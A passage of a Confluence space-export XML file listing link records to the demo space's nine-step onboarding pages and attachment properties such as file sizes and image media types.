||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196622</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196623</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196624</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262272</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196625</id>
|
||||
<property name="destinationPageTitle"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262271</id>
|
||||
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">14</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196618</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Share your page with a team member (step 9 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[share your page with a team member (step 9 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262270</id>
|
||||
<property name="name"><![CDATA[macroNames]]></property>
|
||||
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196619</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262269</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">9061</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196620</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262268</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196621</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262267</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196614</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Share your page with a team member (step 9 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[share your page with a team member (step 9 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262266</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196615</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262265</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196616</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262264</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">9592</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196617</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262263</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196610</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262262</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196611</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262261</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196612</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262260</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196613</id>
|
||||
<property name="destinationPageTitle"><![CDATA[Lay out your page (step 6 of 9)]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262259</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">34478</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262258</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262257</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262256</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">6988</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="OutgoingLink" package="com.atlassian.confluence.links">
|
||||
<id name="id">196609</id>
|
||||
<property name="destinationPageTitle"><![CDATA[//youtu.be/RXhL9cfwx2c]]></property>
|
||||
<property name="lowerDestinationPageTitle"><![CDATA[//youtu.be/rxhl9cfwx2c]]></property>
|
||||
<property name="destinationSpaceKey"><![CDATA[https]]></property>
|
||||
<property name="lowerDestinationSpaceKey"><![CDATA[https]]></property>
|
||||
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
</object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262255</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262254</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262253</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">88136</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262252</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262251</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262250</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">2144</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262249</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/jpeg]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262248</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262247</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">109868</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262246</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262245</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262244</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262243</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262242</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262241</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262240</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/jpeg]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262239</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">47510</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262238</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">3070</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262237</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262236</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262235</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262234</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">15296</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262233</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">2131</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262232</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">9446</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262231</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262230</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/jpeg]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262229</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">2398</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262228</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262227</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262226</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/jpeg]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262225</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/jpeg]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262224</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262223</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262222</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262221</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262220</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262219</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">7054</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262218</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262217</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262216</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262215</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">12098</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262214</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">27998</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262213</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">41645</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262212</id>
|
||||
<property name="name"><![CDATA[HIDDEN]]></property>
|
||||
<property name="stringValue"/><property name="longValue">0</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262211</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262210</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262209</id>
|
||||
<property name="name"><![CDATA[MINOR_EDIT]]></property>
|
||||
<property name="stringValue"/><property name="longValue">1</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262208</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262207</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">264209</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262206</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/jpeg]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262205</id>
|
||||
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
|
||||
<property name="stringValue"><![CDATA[image/png]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262204</id>
|
||||
<property name="name"><![CDATA[FILESIZE]]></property>
|
||||
<property name="stringValue"/><property name="longValue">2398</property>
|
